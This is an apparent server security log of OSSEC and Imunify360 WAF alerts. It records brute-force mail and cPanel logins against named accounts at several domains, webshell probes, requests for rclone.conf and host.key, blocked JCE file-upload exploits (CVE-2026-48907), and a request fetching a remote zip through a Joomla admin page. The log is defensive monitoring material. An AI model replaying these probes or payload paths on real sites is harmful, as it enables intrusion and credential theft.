country_id: 2635167
description:
[2026-07-19 16:31:56 +0530] info [whostmgrd] 77.68.84.233 - root "GET /cpsess3833984942/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-19 16:36:11 dovecot_login authenticator failed for H=([222.113.166.158]) [182.95.181.166]:33028: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 191.101.106.16
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://clients1.google.mn/url?q=https%3A%2F%2Fwebinfra.in%2F2023%2F06%2F22%2Fthe-importance-of-building-a-strong-brand-identity%2F\">najlepsze polskie kasyna online</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.152.58.233
country_id: 6252001
description:
2026-07-19 16:40:23 dovecot_login authenticator failed for H=([183.171.7.156]) [104.152.58.233]:38569: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.69.161.214
country_id: 6252001
description:
2026-07-19 16:41:15 dovecot_login authenticator failed for H=([37.29.34.183]) [208.69.161.214]:38894: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.23
country_id: 1733045
description:
2026-07-19 16:41:33 dovecot_login authenticator failed for H=([111.38.136.211]) [49.124.151.23]:51980: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.symbaloo.com/mix/yohoho\">yohoho</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.210.150.198
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:16-42.192.210.150.198||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.119.99.82
country_id: 1831722
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-4179.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.119.99.82
country_id: 1831722
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-1425.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.47.132.66
country_id: 1643084
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-dkwikr-.htaccess||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.169.236.186
country_id: 1835841
description:
2026-07-19 16:47:30 dovecot_login authenticator failed for H=(ool-4576e80d.dyn.optonline.net) [121.169.236.186]:46966: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.107.219.58
country_id: 1835841
description:
2026-07-19 16:48:03 dovecot_login authenticator failed for H=([5.11.249.16]) [183.107.219.58]:57446: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-19 16:49:20 dovecot_login authenticator failed for H=([27.24.141.154]) [121.131.220.137]:38563: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.14
country_id: 1269750
description:
2026-07-19 16:49:03 dovecot_login authenticator failed for H=([198.8.91.78]) [182.95.185.14]:46426: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.80.105
country_id: 1269750
description:
2026-07-19 16:58:22 dovecot_login authenticator failed for H=([117.241.77.78]) [122.160.80.105]:52064: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-19 17:00:21 dovecot_login authenticator failed for H=([1.250.67.114]) [213.154.80.51]:42718: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 199.87.180.129
country_id: 6252001
description:
2026-07-19 17:10:15 dovecot_login authenticator failed for H=(mx-ll-223.204.180-222.dynamic.3bb.co.th) [199.87.180.129]:41495: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-19 17:10:33 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [182.95.119.30]:53044: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvacrepairnearme1.info\">webpage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 114.122.109.252
country_id: 1643084
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:78544.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4d480d88ab1e5e78ee4202ee18e1c3ac3b4ea402||Title:0x4d24119e||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.12.214.177
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.156.38
country_id: 1605651
description:
2026-07-19 17:16:07 dovecot_login authenticator failed for H=mail.sotus.co.th ([112.196.103.235]) [171.100.156.38]:36781: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-19 17:16:44 dovecot_login authenticator failed for H=([41.215.146.195]) [41.128.181.196]:38894: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-19 17:17:13 dovecot_login authenticator failed for H=(14-200-249-128.tpgi.com.au) [182.95.217.202]:42316: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 178.153.248.211
country_id: 289688
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:14299.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:38f18ac3e55d3e04ed8c9299d2153b6b923109cd||Title:0xa386c632||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.1.120.2
country_id: 1835841
description:
2026-07-19 17:22:03 dovecot_login authenticator failed for H=(13.15.190.94.interra.ru) [121.1.120.2]:44045: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-19 17:22:35 dovecot_login authenticator failed for H=([49.124.152.147]) [222.97.195.179]:42584: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.232.153.182
country_id: 3865483
description:
2026-07-19 17:22:35 dovecot_login authenticator failed for H=([199.116.112.2]) [24.232.153.182]:50683: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.190.89.138
country_id: 6252001
description:
2026-07-19 17:23:33 dovecot_login authenticator failed for H=([209.14.85.115]) [50.190.89.138]:38029: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.82.7.89
country_id: 2077456
description:
2026-07-19 17:23:58 dovecot_login authenticator failed for H=([142.54.236.102]) [95.82.7.89]:35460: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77184806
name: IM360 WAF: WordPress wp2shell REST batch endpoint before 7.0.2 or 6.9.5 (CVE-2026-63030)
abuser: 194.146.92.69
country_id: 2510769
domain: elegantautomotives.com
description:
IM360 WAF: WordPress wp2shell REST batch endpoint before 7.0.2 or 6.9.5 (CVE-2026-63030)||MVN:REQUEST_FILENAME||MV:/wp-json/batch/v1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.77.49.131
country_id: 1269750
description:
2026-07-19 17:24:54 dovecot_login authenticator failed for H=([210.183.167.169]) [182.77.49.131]:39462: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.56.172.231
country_id: 2510769
description:
2026-07-19 17:26:26 dovecot_login authenticator failed for H=231.red-83-56-172.dynamicip.rima-tde.net ([70.166.167.33]) [83.56.172.231]:42569: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-19 17:27:03 dovecot_login authenticator failed for H=([151.83.113.3]) [103.206.131.33]:54719: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.182
country_id: 1668284
description:
2026-07-19 17:33:23 dovecot_login authenticator failed for H=111-70-49-182.emome-ip.hinet.net ([111.42.132.19]) [111.70.49.182]:55243: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77350689
name: IM360 WAF: PHP execution blocked in AcyMailing thumbnails folder
abuser: 2.27.13.17
country_id: 660013
domain: ibmcglobal.com
description:
IM360 WAF: PHP execution blocked in AcyMailing thumbnails folder||MV:/media/com_acym/images/thumbnails/thumbnail_258.png?.php||SC:/home/ibmcglobal/public_html/media/com_acym||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-19 17:33:34 dovecot_login authenticator failed for H=([109.207.33.248]) [182.95.181.50]:43326: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.219.194
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/rclone.conf||User:ahsmarine||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.219.195
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/host.key||User:ahsmarine||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.219.194
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:104.28.219.194||TA:104.28.219.194||


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: stcinemas.co
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-910e1b523162c5a0dd8a5196dcbc91e1.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.2.51
country_id: 298795
description:
2026-07-19 17:39:18 dovecot_login authenticator failed for H=([174.64.199.88]) [85.105.2.51]:58395: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-19 17:38:51 dovecot_login authenticator failed for H=([117.177.235.249]) [121.131.220.152]:58781: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-19 17:39:40 dovecot_login authenticator failed for H=(063.40.246.220.static.netvigator.com) [103.206.131.33]:53738: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77318023
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 196.51.47.124
country_id: 6252001
domain: interceptorglobal.in
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:ARGS:view||MV:registration||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.140.5.164
country_id: 2802361
domain: jaashsupplies.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/z9x8c7v6b5-debug-trigger-jaashsupplies.com||User:jaashsupplies||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.148.142.115
country_id: 6252001
domain: ibmctradeflow.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.32||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-19 18:04:16 dovecot_login authenticator failed for H=([182.95.178.174]) [103.187.78.189]:59742: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 205.185.113.241
country_id: 6252001
domain: www.yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/sec-b49f67a192.php||SC:/home/yukticlick/public_html/images/sec-b49f67a192.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.80.104
country_id: 1269750
description:
2026-07-19 18:05:24 dovecot_login authenticator failed for H=([49.124.147.252]) [106.201.80.104]:54042: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.247.89.210
country_id: 953987
description:
2026-07-19 18:04:40 dovecot_login authenticator failed for H=([93.177.157.179]) [105.247.89.210]:58634: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.187.2
country_id: 1269750
description:
2026-07-19 18:05:53 dovecot_login authenticator failed for H=([174.64.199.87]) [128.185.187.2]:37990: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.177.141.199
country_id: 294640
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5e1993917 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-19 18:12:35 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 82.102.25.38
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/ChiefYoru/ChiefYoru/refs/heads/main/template.zip||User:alnay||SC:/home/alnay/public_html/administrator/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-19 18:21:05 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se ([101.96.199.112]) [83.226.56.106]:48570: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-19 18:21:35 dovecot_login authenticator failed for H=([220.245.133.202]) [103.168.241.32]:59524: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.134.30
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvac-ductwork-airflow-daytona-beach-fl.zzz-1.com/\">site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


